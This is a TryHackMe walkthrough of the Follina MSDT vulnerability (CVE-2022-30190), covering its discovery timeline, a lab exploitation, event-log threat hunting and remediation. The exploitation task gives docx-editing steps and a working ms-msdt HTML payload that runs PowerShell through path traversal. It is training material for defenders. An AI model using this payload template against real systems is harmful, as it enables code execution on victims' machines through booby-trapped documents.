Follina MSDT — TryHackMe Walkthrough
A walkthrough on the CVE-2022–30190, the MSDT service, exploitation of the service vulnerability, and consequent detection techniques and remediation processes
Task 1 Introduction
Microsoft explains that “a remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights”
Learning Objectives:
In this room, we will explore what the Microsoft Support Diagnostic Tool is and the discovered vulnerability that it has. In the process, we will be able to experience exploiting this vulnerability and consequently learn some techniques to detect and mitigate its exploitation in our own environments
Room Prerequisites and Expectation Setting:
There are no hard prerequisites in order to gain value from this room, however it would be very helpful to have a basic understanding of various scripting tools e.g. Windows CLI, Linux Bash Terminal, and PowerShell. Further, this room will touch upon Windows Processes and Data Correlation in lieu of Threat Hunting, albeit nothing too deep nor too complex to be understood.
Answer the questions below
Hope you enjoy this room!
No Answer NeededTask 2 CVE-2022–30190
The MSDT exploit is not something new — in fact, a bachelor’s thesis has been published August of 2020 regarding techniques on how to use MSDT for code execution. Almost two years after that initial publication, pieces of evidence of MSDT exploitation as well as code execution via Office URIs has triggered several independent researchers to file separate reports to MSRC, the latter of which has been patched (specifically in Microsoft Teams) whereas the former remained vulnerable
It’s not until the discovery of nao_sec, which has been made public in twitter, that attacks using this particular vector is actively being made in the wild. This is consequently picked up by Kevin Beaumont who publicly identified it as a zero day that Microsoft EDR products are failing to detect, and then later classified by Microsoft as a zero day with the vulnerability name CVE-2022–30190
Summarized timeline of its discovery:
- August 1st 2020 — A bachelor thesis is published detailing how to use MSDT to execute code
- March 10th 2021 — researchers report to Microsoft how to use Microsoft Office URIs to execute code using Microsoft Teams as an example. Microsoft fail to issue a CVE or inform customers, but stealth patched it in Microsoft Teams in August 2021. They did not patch MSDT in Windows or the vector in Microsoft Office (Link)
- April 12th 2022 — first report to Microsoft MSRC of exploitation in wild via MSDT, by leader of Shadowchasing1, an APT hunting group. This document is an in the wild, real world exploit targeting Russia, themed as a Russian job interview
- April 21st 2022 — Microsoft MSRC closed the ticket saying not a security related issue (for the record, msdt executing with macros disabled is an issue)
- May 27th 2022 — Security vendor Nao tweet a document uploaded from Belarus, which is also an in the wild attack.
- May 29th 2022 — Kevin Beaumont identified this was a zero day publicly as it still works against Office 365 Semi Annual channel, and ‘on prem’ Office versions and EDR products are failing to detect
- May 31st 2022 — Microsoft classify this a zero day in Microsoft Defender Vulnerability Management
- June 14th 2022 — a fix for this vulnerability, CVE-2022–30190, is available in June 2022’s Patch Tuesday
Further readings:
- Follina — a Microsoft Office code execution vulnerability | by Kevin Beaumont | May, 2022 | DoublePulsar
- Full timeline, early details regarding the vulnerability, and “Follina” namesake courtesy of Kevin Beaumont
- Rapid Response: Microsoft Office RCE — “Follina” MSDT Attack (huntress.com)
Answer the questions below
What year was MSDT first discovered to be vulnerable to code execution?
2020Who is the author of the bachelor’s thesis which first detailed this vulnerability?
benjamin altpeterWhat is the name of the APT hunting group who first reported evidence of exploitation in the wild of MSDT to MSRC?
Shadowchasing1Task 3 The MSDT Service
Microsoft states that “the Microsoft Support Diagnostic Tool (MSDT) collects information to send to Microsoft Support. They will then analyze this information and use it to determine the resolution to any problems that you may be experiencing on your computer”
With that in mind, it’s essentially a way for Microsoft Support to immediately see what’s wrong as they’re getting all the information they need straight from the source
Think of it like this — you’re having car problems and you don’t know about cars at all. You call your trusty car mechanic, but instead of him asking you to check different parts of the car while he tries to deduce what’s wrong with it remotely, he just gives you a passkey, instructs you how to use it and the car will magically produce a report that you can then send to the mechanic. Quick, easy, and efficient.
Further reading: Windows 10 CTP: How To Run Microsoft Support Diagnostic Tool — TechNet Articles — United States (English) — TechNet Wiki
Answer the questions below
What’s one thing you need that the support will provide you when you’re using the MSDT legitimately?
passkeyTask 4 Exploiting the Follina Windows Vulnerability
Click the Start Machine button on this task before continuing. The machine will be available on your web browser, in split-screen view.
Before we do any exploitation in the machine, let’s first try and make sense of the baseline processes of the machine. It is in having a sense of normalcy that we’d be able to spot minute changes later on that may consequently reveal malicious activity by a threat actor in our environment.
The process explorer from sysinternals has already been downloaded and pinned in the taskbar for easier access. Proceed to open it and scan through the processes currently running in the machine. Keep it open as we go through the activities later on so you’d be able to immediately see how an exploited follina-msdt vulnerability would look like as compared to the “baseline” — the processes that we’re seeing while the machine is immaculate.
Exploit Explanation
Let’s start with a disclaimer: for our purposes, we’ll be loading our payload via a word document, particularly in the .docx format — this is the original exploit that has been discovered in the wild. However, this vulnerability has been proved to work in a number of other office products, and the student is obliged to maximize learning by trying them out separately.
Two important aspects of this vulnerability are: 1) specific docx files contain OLE (originally abbreviates to Object Linking and Embedding) Object references, and sometimes, they take the form of HTML files hosted elsewhere, and 2) MS-MSDT allows for code execution.
Combining the above two aspects together, an MS-MSDT HTML scheme can be used to execute PowerShell code, and that a docx file can be used to load it via word’s external reference capability.
More specifically, drilling into the docx structure, the word/_rels/document.xml.rels file has an XML tag <Relationship> with an attribute Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" that describes an external oleObject reference. In order to exploit this docx feature, we can edit the contents of this tag to point instead to the payload that we're hosting by changing the Target value into http://<external_payload_server.com>/<payload.html> and the TargetMode value into "External".
In the word/document.xml file, there’s an XML tag that starts with <o:OLEObject...> wherein we should change the Type value to "Link" and then add the Key-Value pair attribute UpdateMode="OnCall".
The only thing left to do now is to host the payload that the word file will be connecting to, and receiving instructions from upon opening of the file. This is done by creating an html file with a structure similar to this:
<!doctype html>
<html lang=”en”><body><script>//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 timeswindow.location.href = “ms-msdt:/id PCWDiagnostic /skip force /param \”IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX(‘calc.exe’))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \””;</script></body></html>
In the above contents of the html file, you’d notice the ms-msdt:/id PCWDiagnostic /skip force /param command, along with the command switches you can use to set the command you want to execute in the target machine. You can then mix and match the payload according to your purposes.
As such, we now have a way to achieve remote code execution without touching any macros, and as we’ll see later, without even opening the malicious document.
Publicly Available Exploit Focus: JohnHammond/msdt-follina
John Hammond has created a tool to automate the process of creating a malicious document (maldoc) and consequently host the malicious html file that houses the bad command. The tool is documented in the link above, and we will be using a forked version of it to further understand the concept of the exploit touched upon earlier.
To start with our experiment, open a terminal instance in your Attackbox and enter the following command:
We change our working directory to ~/Rooms/Follina-MSDT, where the msdt-follina repository has been cloned for you.
Threat hunting
The Windows machine that we’ve used to study the exploitation of the vulnerability has been pre-configured to have logging enabled for:
- Audit Process Creation
- Command Line Process Auditing, and
- Script Block Logging
These auditing mechanisms are not configured by default and as such, it is imperative that these are turned on in your own environments to aid in the detection of suspicious behavior, and to help keep valuable data available for forensic examiners.
During the previous task, we’ve identified a number of interesting process creations upon the exploitation of the vulnerability. These process creations are logged in Windows Security Logs, ready to be analyzed via your favorite viewer, or forwarded to a centralized log collector to be processed then further used later on.
For this task we’ll be using Event Log Viewer for Windows by Nirsoft to check out the process creations we’ve identified earlier. We will then look for details within these process creations that we can use to look for clues in other event logs to explain better what happened behind the scenes. The Event Log Viewer has been pinned in the Taskbar for you.
Proceed to open FullEventLogView pinned in your taskbar. Go to View > Use Quick Filter. A search bar should appear on top of the logs which would allow us to do quick searches. Since we wanted to check the details of our process creations, we can click on the left-most drop down menu and choose Find Event ID (space/comma…), then type 4688 to the search bar provided as shown below:
The screen should populate with Process Creation events and you’ll notice immediately that there’s a ton of them, despite having minimal interaction with the machine.
The first artifact we’ll check is winword.exe — understanding the flow of events from this process gives us an idea how an office process in general, will behave in the context of an msdt exploitation. Hit Ctrl+F to spawn a Find function and type in winword.
The first entry that you’ll probably see is the one where WINWORD.EXE is the new process being created, identified by the detail: New Process Name. This process marks the opening of the follina.docx file, via by the detail: Process Command Line. It should look like the one below, though it’s completely normal for it not to look exactly the same.
Click the Find Next button until you find an entry that looks something like this:
Here we’ll see that the WINWORD.EXE is the Creator Process, more commonly known as the Parent Process of msdt.exe. Notice the long command line entry that contains multiple PowerShell cmdlets (pronounced command-lets) as well as multiple directory traversals. Seeing this, on its own, in your environment should raise immediate red flags. One free nugget that we can look closely here is the string Y2FsYw== that when decoded would result in the string calc.
Since we saw PowerShell cmdlets, it would make sense for us to filter out PowerShell events to further check this lead. Since there’s a lot of unique event IDs that log PowerShell events, we can filter via Provider. Go to Options > Advanced Options. Click the second dropdown menu and select Show only the specific providers (comma-delimited…). Type PowerShell enclosed with wildcards (*) so all providers with regards to PowerShell will be included.
Clear the “Quick Filter” box of the 4688 we entered earlier, and the screen should populate with events that exclusively come from PowerShell providers. From here, we can filter the events via part of the PowerShell command we’ve noted above.
Upon arriving in this event, we can close the find function and then proceed to follow the trail of this Scriptblock text; you can navigate to the next event by pressing the down key in your keyboard, or manually clicking the event. Exploring the immediate events that follow this scriptblock text will show the step-by-step execution of calc in the perspective of PowerShell.
There’s still a lot to be explored in the above scriptblock alone but for the sake of brevity, it will be left to the student to explore further and see what else they can uncover. Questions at the end of this task may serve as guide as well.
Sigma rule availability
Huntress Detection Engineer Matthew Brennan has created a sigma rule to detect suspicious MSDT executions in the environment and the best thing about it is that it keeps getting updated whenever the community spots something new.
The sigma rule can be found here.
Uncoder.IO is a nice tool that helps convert sigma rules to queries that can be immediately used within a SIEM of your choice.
In hunting for MSDT exploits around the environment, you may opt to use the sigma rule as a detection mechanism for both:
- Analytics for use in near real time detections of exploits, and
- Retroactive checks of prior intrusions
MSDT also uses another binary to channel executions and so, suspicious child processes with it as the parent should be noted and further investigated. The “redacted” information above is an answer to a question in the previous task — check at your own spoilage.
Further reading:
Antivirus / Windows Defender
A number of Microsoft Defender products have detection mechanisms in place and our trusty Microsoft Security Response Center provides us a list of those
Answer the questions below
What encoding is used in the string Y2FsYw==
base64What is the parent process of calc.exe?
sdiagnhost.exeDiagnostic package index information is loaded from what file path?
C:\Windows\diagnostics\indexTask 6 Remediation
The patch for this vulnerability is in the June 2022 cumulative Windows Updates. It is imperative that users install these updates to be protected from the vulnerability.
You can either do this manually every so often, which isn’t very efficient and prone to be forgotten, or you can opt to automate checking and installation of updates. Nowadays it’s as easy as typing “updates” in the search bar and it will immediately bring you to the updates section of the computer’s settings.
Disable MSDT URL Protocol
Before the patch has been introduced, security teams scrambled their organization’s IT Administrators to immediately disable the MSDT URL Protocol. By disabling the MSDT URL Protocol, troubleshooters will not be launched as links and so ms-msdt won’t be able to be called by Office.
To disable the protocol, first run a command prompt as administrator (for our VM, it’s automatically ran as administrator).
By now, you must have noticed that we’re always changing our working directory to the Desktop — it’s so we can immediately see the changes that our commands are introducing to the environment: file creation is fairly noticeable. It is by no means, however, the best practice to do in any environment.
The first reg query command that we’ve introduced is a quick check that the key exists. It is followed by reg export that exports our key into a file so we may be able to reintegrate it in our system later on when Microsoft comes up with a more permanent fix to this vulnerability. The exported file is saved in the current working directory — in our case the Desktop.
The reg delete command is the command that actually disables the MSDT URL Protocol mainly because it essentially removes it altogether from the system. The final reg query command is a confirmatory check that the key no longer exists.
Upon disabling the MSDT URL Protocol in our Windows machine, let’s try to trigger the exploit again, and see how it impacts the machine. This is a good way to check if our controls would be able to catch attacks, regardless if they’re successful or not.
Attack Surface Reduction (ASR)
If you’re using Microsoft Defender for Endpoint in your environment, enable the ASR rule Block all Office applications from creating child. Creating child processes from services that should not have been doing that is a common theme among malwares.
Further Reading: Guidance for CVE-2022–30190 Microsoft Support Diagnostic Tool Vulnerability — Microsoft Security Response Center
Answer the questions below
What error message did the document give upon opening?
That error that you’ve just noticed, had you not known that we’re doing an experiment here, is called an Indicator of Attack. You must be very cautious of these kinds of error messages in your own environments.
You’ll need a new app to open this ms-msdtTask 7 Room Recap + Recent Developments
This room explored the MSDT Service and its vulnerability history. It touched upon the idea that features, no matter the intended purpose, will be abused sooner or later. There is no shortage of creativity in this industry, and every so often, exploitation of vulnerabilities such as this is being discovered in the wild.
This room has also emphasized the importance of establishing a proper baseline and consequently explored threat hunting techniques that are transferable in most environments through the use of simple tools that can easily be downloaded and deployed. This is closely followed by a threat hunting challenge that can be solved by following said techniques.
Finally, a couple of remediation processes that are both straightforward and easily deployable has been the chosen method of closing this topic
As of room publishing, Microsoft has already released a patch that blocks PowerShell injection, effectively disabling that attack vector.
This room will be updated from time to time.
Answer the questions below
See you again soon, and happy hunting!
No Answer NeededIf you liked this content you know what to do ;)
